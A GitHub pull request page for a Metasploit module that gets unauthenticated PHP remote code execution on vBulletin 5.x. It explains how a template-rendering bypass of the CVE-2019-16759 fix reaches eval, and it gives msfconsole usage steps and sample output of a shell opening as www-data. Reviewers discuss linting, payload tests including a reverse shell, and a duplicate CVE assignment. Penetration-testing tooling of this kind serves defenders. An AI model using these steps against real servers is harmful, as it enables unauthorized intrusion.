Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Vbulletin widget template rce #13970

Merged
merged 7 commits into from Aug 12, 2020

Conversation

Zenofex
Copy link
Contributor

@Zenofex Zenofex commented Aug 9, 2020

This pull request adds a vBulletin 5.x remote code execution module.

This module exploits a logic bug within the template rendering code of vBulletin 5.x. The module uses the vBulletin template rendering functionality to render the 'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument which causes the former template to load the latter bypassing filters originally put in place to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution on the target.

This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux 19.04 .

Verification

  1. Do: use exploit/multi/http/vbulletin_widget_template_rce
  2. Do: set RHOSTS [IP]
  3. Do: set VHOST [HOSTNAME]
  4. Do: set LHOST [IP]
  5. Do: set TARGETURI [PATH]
  6. Do: set PAYLOAD [PAYLOADNUM]
  7. Do: run

Example Output

msf6 > use exploit/multi/http/vbulletin_widget_template_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set VHOST vb.local
VHOST => vb.local
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set PAYLOAD 5
msf6 exploit(multi/http/vbulletin_widget_template_rce) > run
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending php/bind_perl command payload
[*] Started bind TCP handler against 127.0.0.1:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 127.0.0.1:4444) at 2020-08-09 06:29:57 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

@todb-r7
Copy link
Contributor

todb-r7 commented Aug 11, 2020

I'll tag this with a CVE ID today, and also make sure that the folks at vBulletin know about it.

@gwillcox-r7 gwillcox-r7 added the needs-testing-environment PRs that need community testing and/or vulnerable test targets before they're able to be landed label Aug 11, 2020
@rapid7 rapid7 deleted a comment from label-actions bot Aug 11, 2020
@gwillcox-r7 gwillcox-r7 removed the needs-testing-environment PRs that need community testing and/or vulnerable test targets before they're able to be landed label Aug 11, 2020
@smcintyre-r7 smcintyre-r7 self-assigned this Aug 11, 2020
Copy link
Contributor

@smcintyre-r7 smcintyre-r7 left a comment

This all looks good to me, great use of AutoCheck! It's not every day we can actually exploit the vulnerability within the check method to determine it's presence so that's awesome.

The only request I have is around some style items. There's a few things caught by rubocop when running it on the module. I'm going to tag this as "needs-linting" and there will be some instructions that come along with that.

@smcintyre-r7 smcintyre-r7 added the needs-linting The module needs additional work to pass our automated linting rules label Aug 11, 2020
@label-actions
Copy link

label-actions bot commented Aug 11, 2020

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

Copy link
Contributor Author

@Zenofex Zenofex left a comment

Made the requested changes

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
@smcintyre-r7 smcintyre-r7 removed the needs-linting The module needs additional work to pass our automated linting rules label Aug 12, 2020
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Aug 12, 2020

Alright, thanks for that last commit! With that in place this looks good to land. I successfully tested the PHP meterpreter payload, the CMD payload with output using the default cmd/unix/generic and the CMD payload for a reverse shell using cmd/unix/reverse_php_ssl.

Thanks @Zenofex !

smcintyre-r7 added a commit that referenced this pull request Aug 12, 2020
@smcintyre-r7 smcintyre-r7 merged commit 0b1efd0 into rapid7:master Aug 12, 2020
3 checks passed
@smcintyre-r7
Copy link
Contributor

smcintyre-r7 commented Aug 12, 2020

Release Notes

New module exploits/multi/http/vbulletin_widget_template_rce gains unauthenticated remote code execution on vulnerable vBulletin targets (identified as CVE-2020-7373). Upon receiving a specially-crafted HTTP request from this module, a vulnerable target will allow arbitrary PHP code execution within the context of the application server (a non-root account).

@cfi-gb
Copy link

cfi-gb commented Aug 13, 2020

@todb-r7

I'll tag this with a CVE ID today, and also make sure that the folks at vBulletin know about it.

Could you clarify where "CVE-2020-7373" added in 19618d9 is coming from? It seems https://nvd.nist.gov/vuln/detail/CVE-2020-17496 is used for this by Mitre.Thanks

@todb-r7
Copy link
Contributor

todb-r7 commented Aug 13, 2020

Hi @cfi-gb -- this is from Rapid7's pool of CVE numbers we use to assign for research-based vulnerabilities in 3rd party products. It'll be updated in the next day or two on MITRE's side. (All unassigned CVEs will show as RESERVED by MITRE until they're populated downstream, which is why it might appear to be a MITRE thing right now.)

@cfi-gb
Copy link

cfi-gb commented Aug 14, 2020

Thanks for clarification. Then it seems two CVEs (CVE-2020-7373 which is currently in RESERVED state and CVE-2020-17496 which is already published) got assigned for the very same vulnerability and one might need to be rejected to avoid duplicates.

@Zenofex Zenofex deleted the vbulletin_widget_template_rce branch Aug 14, 2020
@todb-r7
Copy link
Contributor

todb-r7 commented Aug 14, 2020

Well, heck. Thanks @cfi-gb . Do you know from whence CVE-2020-17496 came from? It was issued by MITRE, so I'm curious who the go-getter was who requested the number. :)

In the meantime, I'll fix up the module to use that, rather than have two.

@cfi-gb
Copy link

cfi-gb commented Aug 14, 2020

Unfortunately i don't know there the second is coming from, hoped to get this info here :-)

Ref for the change of the CVE to the one issued by MITRE: #13997

@pbarry-r7 pbarry-r7 added the rn-modules release notes for new or majorly enhanced modules label Aug 18, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants